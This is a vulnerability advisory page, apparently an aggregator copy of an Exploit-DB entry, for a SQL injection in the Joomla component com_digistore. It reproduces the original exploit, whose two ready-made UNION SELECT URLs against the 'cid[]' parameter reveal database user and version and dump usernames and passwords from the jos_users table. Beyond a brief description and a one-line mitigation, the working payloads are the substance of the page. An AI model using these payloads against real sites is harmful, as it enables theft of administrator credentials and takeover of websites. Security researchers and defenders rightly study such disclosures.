Joomla Component com_digistore SQL injection Vulnerability

vendor:

com_digistore

by:

Fl0riX

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: com_digistore

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Joomla Component com_digistore SQL injection Vulnerability

An attacker can gain admin login credentials by exploiting a SQL injection vulnerability in the Joomla component com_digistore. The vulnerability exists due to insufficient filtration of malicious characters in the 'cid[]' parameter of the 'index.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL statements to the vulnerable script. This can allow the attacker to gain access to the admin login credentials.

Mitigation:

Input validation should be implemented to filter out malicious characters.

Source

Exploit-DB raw data:

<------------------- header data start ------------------- >

#############################################################
       Joomla Component com_digistore SQL injection Vulnerability                                          
#############################################################

# author        : Fl0riX
# Greetz    : BARCOD3 , Septemb0x, Deep-Power,DreamPower,Pyske,F0rtys3v3n,BlackApple
# Name        : com_digistore

# Bug Type       : SQL Injection

# Infection      : Admin login bilgileri al&#65533;nabilir.

# Demo Vuln.     :
http://server/index.php?option=com_digistore&controller=digistoreProducts&task=list&cid[]=-2/**/union/**/select/**/user(),user(),user(),version(),user(),user()

# Bug Fix Advice : Zararl&#65533; karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_digistore&controller=digistoreProducts&task=list&cid[]=null/**/union/**/select/**/0,1,2,concat(username,0x3a,password),user(),user()/**/from/**/jos_users

< -- bug code end of -- >